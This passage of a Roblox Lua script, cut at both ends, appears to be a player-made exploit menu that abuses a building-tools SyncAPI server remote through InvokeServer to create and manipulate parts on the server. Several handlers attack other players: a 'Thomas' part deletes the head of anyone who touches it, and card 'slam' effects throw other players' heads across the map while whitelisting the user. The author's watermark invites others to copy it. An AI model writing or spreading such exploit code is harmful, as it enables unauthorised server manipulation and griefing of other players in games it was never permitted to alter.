				local parts = {"Torso", "Left Leg", "Right Leg", "Left Arm", "Right Arm", "Head", "HumanoidRootPart"}
				local args = { [1] = "SyncMaterial", [2] = {} }

				for _, name in ipairs(parts) do
					local part = char:FindFirstChild(name)
					if part then
						table.insert(args[2], {Part = part, Transparency = 1})
					end
				end

				fastInvoke(args)
			end)
		end

		local function buildThomas()
			local hrp = char:FindFirstChild("HumanoidRootPart")
			if not hrp then return end

			local spawnCF = hrp.CFrame

			quickPart(
				"Normal",
				spawnCF,
				THOMAS_SIZE,
				Enum.Material.Plastic,
				Color3.fromRGB(255,255,255),
				0,
				THOMAS_MESH,
				THOMAS_TEX,
				THOMAS_SCALE,
				function(p)
					fastInvoke({"SyncAnchor", {{Part = p, Anchored = true}}})
					fastInvoke({"SyncCollision", {{Part = p, CanCollide = false}}})
					fastInvoke({"SetLocked", {p}, false})
					fastInvoke({"SetName", {{p}}, "Thomas"})
					fastInvoke({"CreateWelds", {p, hrp}, p})
					fastInvoke({"CreateLights", {{Part = p, LightType = "SpotLight"}}})
					fastInvoke({"SyncLighting", {{Part = p, LightType = "SpotLight", Brightness = 100}}})

					task.delay(0.05, function()
						fastInvoke({"SyncAnchor", {{Part = p, Anchored = false}}})
					end)

					p.Touched:Connect(function(hit)
						local hitChar = hit.Parent
						if hitChar and hitChar:IsA("Model") and Players:FindFirstChild(hitChar.Name) then
							if hitChar.Name ~= player.Name then
								local targetHead = hitChar:FindFirstChild("Head")
								if targetHead then
									fastInvoke({"Remove", {targetHead}})
								end
								local whistle = Instance.new("Sound", p)
								whistle.SoundId = "rbxassetid://475073913"
								whistle.Volume = 1
								whistle:Play()
							end
						end
					end)
				end
			)

			local hum = char:FindFirstChildOfClass("Humanoid")
			if hum then hum.WalkSpeed = 80 end

			RunService.RenderStepped:Connect(function()
				for _, v in ipairs(char:GetDescendants()) do
					if v:IsA("BasePart") then
						v.CanCollide = false
					end
				end
			end)
		end

		setInvisibility()
		buildThomas()

	end)
end;
task.spawn(C_96);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_98()
	local script = G2L["98"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		local TweenService = game:GetService("TweenService")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

		local Players = game:GetService("Players")
		local RunService = game:GetService("RunService")
		local ReplicatedStorage = game:GetService("ReplicatedStorage")

		local player = Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local root = char:WaitForChild("HumanoidRootPart")

		local tool
		for _,v in pairs(player:GetDescendants()) do
			if v.Name == "SyncAPI" then
				tool = v.Parent
				break
			end
		end

		if not tool then
			for _,v in pairs(ReplicatedStorage:GetDescendants()) do
				if v.Name == "SyncAPI" then
					tool = v.Parent
					break
				end
			end
		end

		if not tool or not tool:FindFirstChild("SyncAPI") then
			error("duding abt if you have f3x dummer")
		end

		local remote = tool.SyncAPI.ServerEndpoint

		local function invoke(cmd, data)
			pcall(function()
				remote:InvokeServer(cmd, data)
			end)
		end

		local function createPart(cf)
			return remote:InvokeServer("CreatePart", "Normal", cf, workspace)
		end

		local function setup(part, size, color, material, trans)
			invoke("SyncResize", {{ Part = part, CFrame = part.CFrame, Size = size }})
			invoke("SyncColor", {{ Part = part, Color = color, UnionColoring = true }})
			invoke("SyncMaterial", {{ Part = part, Material = material, Transparency = trans }})
			invoke("SyncCollision", {{ Part = part, CanCollide = false }})
			invoke("SyncAnchor", {{ Part = part, Anchored = true }})
		end

		local function mesh(part, meshId, scale)
			invoke("CreateMeshes", {{ Part = part }})
			invoke("SyncMesh", {{
				Part = part,
				MeshId = meshId,
				TextureId = "",
				Scale = scale
			}})
		end

		local startCF = CFrame.new(root.Position - Vector3.new(0, 60, 0))

		local outer = createPart(startCF)
		local inner = createPart(startCF)

		setup(outer, Vector3.new(0.06,0.06,0.06), Color3.fromRGB(0,170,255), Enum.Material.Plastic, 0.5)
		setup(inner, Vector3.new(1,1,1), Color3.new(1,1,1), Enum.Material.Neon, 0)

		mesh(outer, "rbxassetid://9274044128", Vector3.new(0.06,0.06,0.06))
		mesh(inner, "rbxassetid://12800536037", Vector3.new(1,1,1))

		local textPart = Instance.new("Part")
		textPart.Size = Vector3.new(1,1,1)
		textPart.Transparency = 1
		textPart.Anchored = true
		textPart.CanCollide = false
		textPart.Parent = workspace

		local billboard = Instance.new("BillboardGui")
		billboard.Size = UDim2.new(0, 260, 0, 40)
		billboard.StudsOffset = Vector3.new(0, 3, 0)
		billboard.AlwaysOnTop = true
		billboard.Parent = textPart

		local label = Instance.new("TextLabel")
		label.Size = UDim2.new(1,0,1,0)
		label.BackgroundTransparency = 1
		label.Text = "You an admin! Level: 4"
		label.Font = Enum.Font.Arial
		label.TextSize = 20
		label.TextColor3 = Color3.fromRGB(22, 96, 148)
		label.TextStrokeTransparency = 0
		label.Parent = billboard

		local clickProxy = Instance.new("Part")
		clickProxy.Size = Vector3.new(2,2,2)
		clickProxy.Transparency = 1
		clickProxy.Anchored = true
		clickProxy.CanCollide = false
		clickProxy.Parent = workspace

		local click = Instance.new("ClickDetector")
		click.MaxActivationDistance = 32
		click.Parent = clickProxy

		local RADIUS = 5
		local HEIGHT = 2
		local SPEED = 0.4
		local SMOOTH = 0.25

		local angle = 0
		local orbiting = true
		local lastCF = startCF
		local orbitConn

		local function deleteBlock()
			if not orbiting then return end
			orbiting = false

			if orbitConn then
				orbitConn:Disconnect()
			end

			task.wait()

			invoke("Remove", { outer })
			invoke("Remove", { inner })

			clickProxy:Destroy()
			textPart:Destroy()
		end

		click.MouseClick:Connect(deleteBlock)

		orbitConn = RunService.Heartbeat:Connect(function(dt)
			if not orbiting then return end

			angle += SPEED * dt

			local pos = root.Position + Vector3.new(
				math.cos(angle) * RADIUS,
				HEIGHT,
				math.sin(angle) * RADIUS
			)

			local cf = CFrame.new(pos) * CFrame.Angles(angle*0.5, angle*0.5, angle*0.5)
			lastCF = lastCF:Lerp(cf, SMOOTH)

			invoke("SyncResize", {{ Part = outer, CFrame = lastCF, Size = Vector3.new(0.06,0.06,0.06) }})
			invoke("SyncResize", {{ Part = inner, CFrame = lastCF, Size = Vector3.new(1,1,1) }})

			clickProxy.CFrame = lastCF
			textPart.CFrame = lastCF
		end)

	end)
end;
task.spawn(C_98);
-- StarterGui.ScreenGui.IMPORTANT WOOHOO.scrept heb.TextButton.LocalScript
local function C_9a()
	local script = G2L["9a"];
	local button = script.Parent

	button.MouseButton1Click:Connect(function()
		--skibidi 
		local ScreenGui = Instance.new("ScreenGui")
		local Frame = Instance.new("Frame")
		local dragtitle = Instance.new("TextLabel")
		local xr6 = Instance.new("TextButton")
		local dynr6 = Instance.new("TextButton")
		local visr6 = Instance.new("TextButton")
		local freemanr6 = Instance.new("TextButton")
		local soldierr6 = Instance.new("TextButton")
		local TextLabel = Instance.new("TextLabel")
		local TextLabel_2 = Instance.new("TextLabel")
		local xr15 = Instance.new("TextButton")
		local dynr15 = Instance.new("TextButton")
		local freemanr15 = Instance.new("TextButton")
		local control = Instance.new("TextButton")
		local controlstext = Instance.new("TextBox")


		ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
		ScreenGui.ResetOnSpawn = false

		Frame.Parent = ScreenGui
		Frame.BackgroundColor3 = Color3.fromRGB(36, 36, 36)
		Frame.BackgroundTransparency = 0.200
		Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
		Frame.BorderSizePixel = 0
		Frame.Position = UDim2.new(0.399260223, 0, 0.176146001, 0)
		Frame.Size = UDim2.new(0, 185, 0, 304)

		dragtitle.Name = "dragtitle"
		dragtitle.Parent = Frame
		dragtitle.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		dragtitle.BackgroundTransparency = 1.000
		dragtitle.BorderColor3 = Color3.fromRGB(0, 0, 0)
		dragtitle.BorderSizePixel = 0
		dragtitle.Size = UDim2.new(0, 185, 0, 21)
		dragtitle.Font = Enum.Font.SourceSansItalic
		dragtitle.Text = "Super trash gui"
		dragtitle.TextColor3 = Color3.fromRGB(255, 255, 255)
		dragtitle.TextScaled = true
		dragtitle.TextSize = 14.000
		dragtitle.TextWrapped = true

		xr6.Name = "xr6"
		xr6.Parent = Frame
		xr6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		xr6.BackgroundTransparency = 0.700
		xr6.BorderColor3 = Color3.fromRGB(0, 0, 0)
		xr6.BorderSizePixel = 0
		xr6.Position = UDim2.new(0.0378378369, 0, 0.148026317, 0)
		xr6.Size = UDim2.new(0, 148, 0, 18)
		xr6.Font = Enum.Font.SourceSansItalic
		xr6.Text = "Xester (R6)"
		xr6.TextColor3 = Color3.fromRGB(255, 255, 255)
		xr6.TextScaled = true
		xr6.TextSize = 14.000
		xr6.TextWrapped = true

		dynr6.Name = "dynr6"
		dynr6.Parent = Frame
		dynr6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		dynr6.BackgroundTransparency = 0.700
		dynr6.BorderColor3 = Color3.fromRGB(0, 0, 0)
		dynr6.BorderSizePixel = 0
		dynr6.Position = UDim2.new(0.0378378369, 0, 0.240131572, 0)
		dynr6.Size = UDim2.new(0, 148, 0, 18)
		dynr6.Font = Enum.Font.SourceSansItalic
		dynr6.Text = "Dynamite (R6)"
		dynr6.TextColor3 = Color3.fromRGB(255, 255, 255)
		dynr6.TextScaled = true
		dynr6.TextSize = 14.000
		dynr6.TextWrapped = true

		visr6.Name = "visr6"
		visr6.Parent = Frame
		visr6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		visr6.BackgroundTransparency = 0.700
		visr6.BorderColor3 = Color3.fromRGB(0, 0, 0)
		visr6.BorderSizePixel = 0
		visr6.Position = UDim2.new(0.0378378369, 0, 0.335526317, 0)
		visr6.Size = UDim2.new(0, 148, 0, 18)
		visr6.Font = Enum.Font.SourceSansItalic
		visr6.Text = "Visualizer (R6)"
		visr6.TextColor3 = Color3.fromRGB(255, 255, 255)
		visr6.TextScaled = true
		visr6.TextSize = 14.000
		visr6.TextWrapped = true

		freemanr6.Name = "freemanr6"
		freemanr6.Parent = Frame
		freemanr6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		freemanr6.BackgroundTransparency = 0.700
		freemanr6.BorderColor3 = Color3.fromRGB(0, 0, 0)
		freemanr6.BorderSizePixel = 0
		freemanr6.Position = UDim2.new(0.0378378369, 0, 0.430921048, 0)
		freemanr6.Size = UDim2.new(0, 148, 0, 18)
		freemanr6.Font = Enum.Font.SourceSansItalic
		freemanr6.Text = "Freeman (R6)"
		freemanr6.TextColor3 = Color3.fromRGB(255, 255, 255)
		freemanr6.TextScaled = true
		freemanr6.TextSize = 14.000
		freemanr6.TextWrapped = true

		soldierr6.Name = "soldierr6"
		soldierr6.Parent = Frame
		soldierr6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		soldierr6.BackgroundTransparency = 0.700
		soldierr6.BorderColor3 = Color3.fromRGB(0, 0, 0)
		soldierr6.BorderSizePixel = 0
		soldierr6.Position = UDim2.new(0.0378378369, 0, 0.523026288, 0)
		soldierr6.Size = UDim2.new(0, 148, 0, 18)
		soldierr6.Font = Enum.Font.SourceSansItalic
		soldierr6.Text = "Soldier NPC (r6) half broken"
		soldierr6.TextColor3 = Color3.fromRGB(255, 255, 255)
		soldierr6.TextScaled = true
		soldierr6.TextSize = 14.000
		soldierr6.TextWrapped = true

		TextLabel.Parent = Frame
		TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel.BackgroundTransparency = 1.000
		TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel.BorderSizePixel = 0
		TextLabel.Position = UDim2.new(0, 0, 0.0789473653, 0)
		TextLabel.Size = UDim2.new(0, 185, 0, 21)
		TextLabel.Font = Enum.Font.SourceSansItalic
		TextLabel.Text = "R6 "
		TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel.TextScaled = true
		TextLabel.TextSize = 14.000
		TextLabel.TextWrapped = true

		TextLabel_2.Parent = Frame
		TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_2.BackgroundTransparency = 1.000
		TextLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_2.BorderSizePixel = 0
		TextLabel_2.Position = UDim2.new(0, 0, 0.582236826, 0)
		TextLabel_2.Size = UDim2.new(0, 185, 0, 21)
		TextLabel_2.Font = Enum.Font.SourceSansItalic
		TextLabel_2.Text = "R15"
		TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel_2.TextScaled = true
		TextLabel_2.TextSize = 14.000
		TextLabel_2.TextWrapped = true

		xr15.Name = "xr15"
		xr15.Parent = Frame
		xr15.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		xr15.BackgroundTransparency = 0.700
		xr15.BorderColor3 = Color3.fromRGB(0, 0, 0)
		xr15.BorderSizePixel = 0
		xr15.Position = UDim2.new(0.0378378369, 0, 0.677631557, 0)
		xr15.Size = UDim2.new(0, 148, 0, 18)
		xr15.Font = Enum.Font.SourceSansItalic
		xr15.Text = "Xester (R15)"
		xr15.TextColor3 = Color3.fromRGB(255, 255, 255)
		xr15.TextScaled = true
		xr15.TextSize = 14.000
		xr15.TextWrapped = true

		dynr15.Name = "dynr15"
		dynr15.Parent = Frame
		dynr15.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		dynr15.BackgroundTransparency = 0.700
		dynr15.BorderColor3 = Color3.fromRGB(0, 0, 0)
		dynr15.BorderSizePixel = 0
		dynr15.Position = UDim2.new(0.0378378369, 0, 0.769736826, 0)
		dynr15.Size = UDim2.new(0, 148, 0, 18)
		dynr15.Font = Enum.Font.SourceSansItalic
		dynr15.Text = "Dynamite (R15)"
		dynr15.TextColor3 = Color3.fromRGB(255, 255, 255)
		dynr15.TextScaled = true
		dynr15.TextSize = 14.000
		dynr15.TextWrapped = true

		freemanr15.Name = "freemanr15"
		freemanr15.Parent = Frame
		freemanr15.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		freemanr15.BackgroundTransparency = 0.700
		freemanr15.BorderColor3 = Color3.fromRGB(0, 0, 0)
		freemanr15.BorderSizePixel = 0
		freemanr15.Position = UDim2.new(0.0378378369, 0, 0.858552635, 0)
		freemanr15.Size = UDim2.new(0, 148, 0, 18)
		freemanr15.Font = Enum.Font.SourceSansItalic
		freemanr15.Text = "Freeman (R15)"
		freemanr15.TextColor3 = Color3.fromRGB(255, 255, 255)
		freemanr15.TextScaled = true
		freemanr15.TextSize = 14.000
		freemanr15.TextWrapped = true

		control.Name = "control"
		control.Parent = Frame
		control.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
		control.BorderColor3 = Color3.fromRGB(0, 0, 0)
		control.BorderSizePixel = 0
		control.Position = UDim2.new(0.870270252, 0, 0.0394736826, 0)
		control.Size = UDim2.new(0, 24, 0, 279)
		control.Font = Enum.Font.SourceSans
		control.Text = "CONTROLS"
		control.TextColor3 = Color3.fromRGB(255, 255, 255)
		control.TextSize = 14.000

		controlstext.Name = "controlstext"
		controlstext.Parent = Frame
		controlstext.BackgroundColor3 = Color3.fromRGB(36, 36, 36)
		controlstext.BackgroundTransparency = 0.200
		controlstext.BorderColor3 = Color3.fromRGB(0, 0, 0)
		controlstext.BorderSizePixel = 0
		controlstext.Position = UDim2.new(1, 0, 0.0690789446, 0)
		controlstext.Size = UDim2.new(0, 250, 0, 246)
		controlstext.Visible = false
		controlstext.ClearTextOnFocus = false
		controlstext.Font = Enum.Font.SourceSans
		controlstext.MultiLine = true
		controlstext.Text = "XESTER: C -Big slam card, B - Card storm, V - blackhole card (click on any place on map to tp the blackhole card to) DO NOT USE ANY OTHER MOVES WHEN USING ONE!; Dynamite: C - Drop the dynamite and touch it to activate it;;; Freeman: C - Switch to FPV arms mode, V - Crowbar, B - Gun, Z (or is it X) - RPG;;; Soldier NPC: Kills everything in distance (be away from soldier so it kills others);;; Visualizer: big ass rotating cube under ur character like banisher type of shid;;;"
		controlstext.TextColor3 = Color3.fromRGB(254, 254, 254)
		controlstext.TextScaled = true
		controlstext.TextSize = 14.000
		controlstext.TextWrapped = true
		print("watermark of 74235 yes yes yes super trash gui is MINE, however you can skid it as much as you want, im not good at lua so i've used least of my knowledge to make this, thank you");

		local function doxesterr6()
			local Players = game:GetService("Players")
			local LocalPlayer = Players.LocalPlayer
			local char = LocalPlayer.Character
			local Event = LocalPlayer.Backpack:FindFirstChild("Building Tools").SyncAPI.ServerEndpoint
			local UIS = game:GetService("UserInputService")

			local function CreatePart(position,parent)
				Event:InvokeServer("CreatePart", "Normal", position, parent)
			end

			local function CreateBall(position,parent)
				Event:InvokeServer("CreatePart", "Ball", position, parent)
			end

			--workspace.Part
			local function CreateMesh(part,meshid)
				local args = {
					[1] = "CreateMeshes",
					[2] = {
						[1] = {
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["MeshType"] = Enum.MeshType.FileMesh,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["MeshId"] = meshid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function CanCollide(part,cancollide)
				local args = {
					[1] = "SyncCollision",
					[2] = {
						[1] = {
							["Part"] = part,
							["CanCollide"] = cancollide
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Anchor(part,anchor)
				local args = {
					[1] = "SyncAnchor",
					[2] = {
						[1] = {
							["Part"] = part,
							["Anchored"] = anchor
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function Rotate(part,degreex,degreey,degreez,anglesx,anglesy,anglesz)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = CFrame.new(degreex, degreey, degreez) * CFrame.Angles(anglesx, anglesy,anglesz)
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeMeshSize(part,vector3size)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["Scale"] = vector3size
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeTransparency(part,transparency)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Transparency"] = transparency
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function WeldTo(parttoweld,parttoweldto)
				local args = {
					[1] = "CreateWelds",
					[2] = {
						[1] = parttoweld
					},
					[3] = parttoweldto
				}

				Event:InvokeServer(unpack(args))

			end

			local function BreakWeld(weldtobreak)
				local args = {
					[1] = "RemoveWelds",
					[2] = {weldtobreak}
				}

				Event:InvokeServer(unpack(args))

			end

			local function MovePart(part,cframe)
				local args = {
					[1] = "SyncRotate",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function CreateFire(part)
				local args = {
					[1] = "CreateDecorations",
					[2] = {
						[1] = {
							["Part"] = part,
							["DecorationType"] = "Fire"
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeMeshTexture(part,textureid)
				local args = {
					[1] = "SyncMesh",
					[2] = {
						[1] = {
							["Part"] = part,
							["TextureId"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeColor(part,unioncoloringenabled,color)
				local args = {
					[1] = "SyncColor",
					[2] = {
						[1] = {
							["Color"] = color,
							["UnionColoring"] = unioncoloringenabled,
							["Part"] = part
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function Rename(part,name)
				local args = {
					[1] = "SetName",
					[2] = {
						[1] = part
					},
					[3] = name
				}

				Event:InvokeServer(unpack(args))

			end

			local function DestroyObject(part)
				local args = {
					[1] = "Remove",
					[2] = {
						[1] = part
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ResizeObject(part,cframe,vector3)
				local args = {
					[1] = "SyncResize",
					[2] = {
						[1] = {
							["Part"] = part,
							["CFrame"] = cframe,
							["Size"] = vector3
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			local function ChangeNeon(part)
				local args = {
					[1] = "SyncMaterial",
					[2] = {
						[1] = {
							["Part"] = part,
							["Material"] = Enum.Material.Neon
						}
					}
				}

				Event:InvokeServer(unpack(args))

			end

			local function ChangeDecal(part,face,textureid)
				local args = {
					[1] = "CreateTextures",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = face, -- Front, Top,  Bottom, Front, Back,  Left, Right
							["TextureType"] = "Decal"
						}
					}
				}

				Event:InvokeServer(unpack(args))
				local args = {
					[1] = "SyncTexture",
					[2] = {
						[1] = {
							["Part"] = part,
							["Face"] = face, -- Front, Top,  Bottom, Front, Back,  Left, Right
							["TextureType"] = "Decal",
							["Texture"] = textureid
						}
					}
				}

				Event:InvokeServer(unpack(args))
			end

			-- Function to find the nearest player
			local function FindNearestPlayer(soldier)
				local nearestPlayer = nil
				local nearestDistance = math.huge

				for _, player in pairs(game.Players:GetPlayers()) do
					local character = player.Character
					if character then
						if character.HumanoidRootPart then
							local distance = (character.HumanoidRootPart.Position - soldier.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPlayer = player
							end
						end
					end
				end
				return nearestPlayer
			end

			local function GetNearestPart()
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("Right Arm")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (RightArm.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
							end
						end
					end
				end

				return nearestPart
			end

			local function GetNearestPartTo(soldier)
				local nearestPart = nil
				local nearestDistance = math.huge
				local localPlayer = game.Players.LocalPlayer
				local localCharacter = localPlayer.Character
				local RightArm = localCharacter:FindFirstChild("Right Arm")

				if RightArm then
					for _, part in pairs(workspace:GetDescendants()) do
						if part:IsA("Part") and part.Name == "Part" then
							local distance = (soldier.Position - part.Position).Magnitude
							if distance < nearestDistance then
								nearestDistance = distance
								nearestPart = part
							end
						end
					end
				end

				return nearestPart
			end

			local function CreateShimmer(part)
				CreateBall(part.CFrame, workspace);

				local partd2 = GetNearestPart()

				Rename(partd2, "Shimmer")

				local bh = workspace:WaitForChild("Shimmer")

				WeldTo(part,bh);


				ResizeObject(bh, bh.CFrame, Vector3.new(10, 10, 10));

				CanCollide(bh,false)

				ChangeColor(bh,true,Color3.new(1, 1, 1))

				ChangeNeon(bh)

				local degreez = 0
				local vectorx = 1;
				local vectory = 1;
				local vectorz = 1;

				local incsize = 3;

				local transparency = 0;

				local impact = true;

				local run
				run = game:GetService("RunService").Heartbeat:Connect(function()
					task.wait(0.1)
					ChangeTransparency(bh,transparency);

					ResizeObject(bh, bh.CFrame, Vector3.new(incsize, incsize, incsize))

					transparency = transparency + 0.01
					vectory = vectory + 5
					vectorx = vectorx + 20
					vectorz = vectorz + 20
					degreez = degreez + 100
					incsize = incsize + 0.5

					if impact == true then
						for i,v in game.Players:GetPlayers() do
							local chark = v.Character
							if chark then
								local head = chark:FindFirstChild("Head")
								local hrp = chark:FindFirstChild("HumanoidRootPart")
								if head and hrp then
									local distance = (bh.Position - hrp.Position).Magnitude
									if distance < 30 then
										if v.Name == game.Players.LocalPlayer.Name then
											--whitelisted
										else
											MovePart(head,bh.CFrame);
											impact = false
										end
									end
								end
							end
						end
					end

					if transparency > 0.8 then
						if workspace:FindFirstChild("Shimmer") then
							DestroyObject(workspace:FindFirstChild("Shimmer"));
							BreakWeld(char:FindFirstChild("HumanoidRootPart"),workspace:FindFirstChild("Shimmer"));
							run:Disconnect()
						end
					end
				end)

			end

			local function CreateSlamCard()
				CreatePart(char.Head.CFrame + Vector3.new(0, 18, 0), workspace);

				local partd = GetNearestPart()

				Rename(partd, "Card")

				local card = workspace:WaitForChild("Card")

				ResizeObject(card, card.CFrame, Vector3.new(15.65, 23.84, 0.3))
				ChangeNeon(card);
				ChangeDecal(card,Enum.NormalId.Front,"rbxassetid://1880203893")
				ChangeDecal(card,Enum.NormalId.Back,"rbxassetid://1880203893")
				CanCollide(card,false)

				CreateShimmer(card);
				----create first slam effect----
				CreatePart(card.CFrame, workspace);
				local partd2 = GetNearestPart()
				Rename(partd2, "Slam")
				local slamm = workspace:WaitForChild("Slam")

				CanCollide(slamm,false)

				CreateMesh(slamm,"rbxassetid://20329976");
				ChangeColor(slamm,true,Color3.new(0.631373, 0.631373, 0.631373))


				ChangeTransparency(slamm,1);

				----create second---------------

				CreatePart(card.CFrame, workspace);
				local partd3 = GetNearestPart()
				Rename(partd3, "Slam2")
				local slamm2 = workspace:WaitForChild("Slam2")

				CanCollide(slamm2,false)

				CreateMesh(slamm2,"rbxassetid://20329976");
				ChangeColor(slamm2,true,Color3.new(0.631373, 0.631373, 0.631373))

				ChangeTransparency(slamm2,1);

				local humanoidRootPart = char:FindFirstChild("HumanoidRootPart")
				local runService = game:GetService("RunService")
				local userInputService = game:GetService("UserInputService")

				local savedLookVector = nil
				local slamming = false

				local function updateCardRotation()
					if not slamming then
						local headCFrame = char.Head.CFrame
						local lookVector = headCFrame.LookVector
						local rightVector = headCFrame.RightVector
						local forwardVector = Vector3.new(lookVector.X, 0, lookVector.Z).Unit
						local anglesX, anglesY, anglesZ = 0, math.atan2(forwardVector.X, forwardVector.Z), 0
						Rotate(card, headCFrame.Position.X, headCFrame.Position.Y + 18, headCFrame.Position.Z, anglesX, anglesY, anglesZ)
					end
				end

				userInputService.InputBegan:Connect(function(input)
					if input.UserInputType == Enum.UserInputType.MouseButton1 and not slamming then
						local headCFrame = char.Head.CFrame
						local lookVector = headCFrame.LookVector
						local rightVector = headCFrame.RightVector
						local forwardVector = Vector3.new(lookVector.X, 0, lookVector.Z).Unit
						savedLookVector = forwardVector
						slamming = true
						local slamPosition = headCFrame.Position + forwardVector * 10
						local anglesX, anglesY, anglesZ = math.pi / 2, 0, math.atan2(forwardVector.X, forwardVector.Z)
						Rotate(card, slamPosition.X, slamPosition.Y - 4.5, slamPosition.Z, anglesX, anglesY, anglesZ)
						task.wait(0.01)

						local slam = workspace:WaitForChild("Slam")
						local slam2 = workspace:WaitForChild("Slam2")

						MovePart(slam,card.CFrame);
						MovePart(slam2,card.CFrame);

						ChangeTransparency(slam,0);
						ChangeTransparency(slam2,0);

						local degreez = 0
						local vectorx = 1;
						local vectory = 1;
						local vectorz = 1;

						local vectorx2 = 1;
						local vectory2 = 1;
						local vectorz2 = 1;

						local transparency = 0;

						local impact = true;

						local run
						run = game:GetService("RunService").Heartbeat:Connect(function()
							task.wait(0.01)

							Rotate(slam,slam.CFrame.X,slam.CFrame.Y,slam.CFrame.Z,0,math.rad(degreez),0)
							Rotate(slam2,slam2.CFrame.X,slam2.CFrame.Y,slam2.CFrame.Z,0,math.rad(degreez),0)

							ChangeMeshSize(slam,Vector3.new(vectorx, vectory, vectorz));
							ChangeMeshSize(slam2,Vector3.new(vectorx2, vectory2, vectorz2));
							ChangeTransparency(slam,transparency);
							ChangeTransparency(slam2,transparency);

							transparency = transparency + 0.01
							vectory = vectory + 1
							vectorx = vectorx + 1
							vectorz = vectorz + 1

							vectory2 = vectory2 + 0.5
							vectorx2 = vectorx2 + 0.5
							vectorz2 = vectorz2 + 0.5
							degreez = degreez + 5

							if impact == true then
								for i,v in game.Players:GetPlayers() do
									local chark = v.Character
									if chark then
										local head = chark:FindFirstChild("Head")
										local hrp = chark:FindFirstChild("HumanoidRootPart")
										if head and hrp then
											local distance = (slam.Position - hrp.Position).Magnitude
											if distance < 40 then
												if v.Name == game.Players.LocalPlayer.Name then
													--whitelisted
												else
													MovePart(head,CFrame.new(math.random(-100,100),math.random(10,100),math.random(-100,100)))
													impact = false
												end
											end
										end
									end
								end
							end

							if transparency > 0.8 then
								if workspace:FindFirstChild("Slam") and workspace:FindFirstChild("Slam2") then
									run:Disconnect()
									DestroyObject(workspace:FindFirstChild("Slam"));
									DestroyObject(workspace:FindFirstChild("Slam2"))
									DestroyObject(card);
								end
							end
						end)

					end
				end)

				runService.RenderStepped:Connect(updateCardRotation)
			end



			local function CreateBlackholeCard()
				local stop = false;
				CreatePart(char.Head.CFrame + Vector3.new(0, 18, 0), workspace);

				local partd = GetNearestPart()

				Rename(partd, "Card")

				local card = workspace:WaitForChild("Card")

				ResizeObject(card, card.CFrame, Vector3.new(15.65, 23.84, 0.3))
				ChangeNeon(card);
				ChangeDecal(card,Enum.NormalId.Front,"rbxassetid://1880203893")
				ChangeDecal(card,Enum.NormalId.Back,"rbxassetid://1880203893")
				CanCollide(card,false)

				local humanoidRootPart = char:FindFirstChild("HumanoidRootPart")
				local runService = game:GetService("RunService")
				local userInputService = game:GetService("UserInputService")

				local savedLookVector = nil
				local slamming = false

				userInputService.InputBegan:Connect(function(input)
					if input.UserInputType == Enum.UserInputType.MouseButton1 and not slamming then
						local headCFrame = char.Head.CFrame
						local lookVector = headCFrame.LookVector
						local rightVector = headCFrame.RightVector
						local forwardVector = Vector3.new(lookVector.X, 0, lookVector.Z).Unit
						savedLookVector = forwardVector
						slamming = true
						local slamPosition = headCFrame.Position + forwardVector * 10
						local anglesX, anglesY, anglesZ = math.pi / 2, 0, math.atan2(forwardVector.X, forwardVector.Z)
						wait(0.5)

						CreateBall(card.CFrame, workspace);

						local partd2 = GetNearestPart()

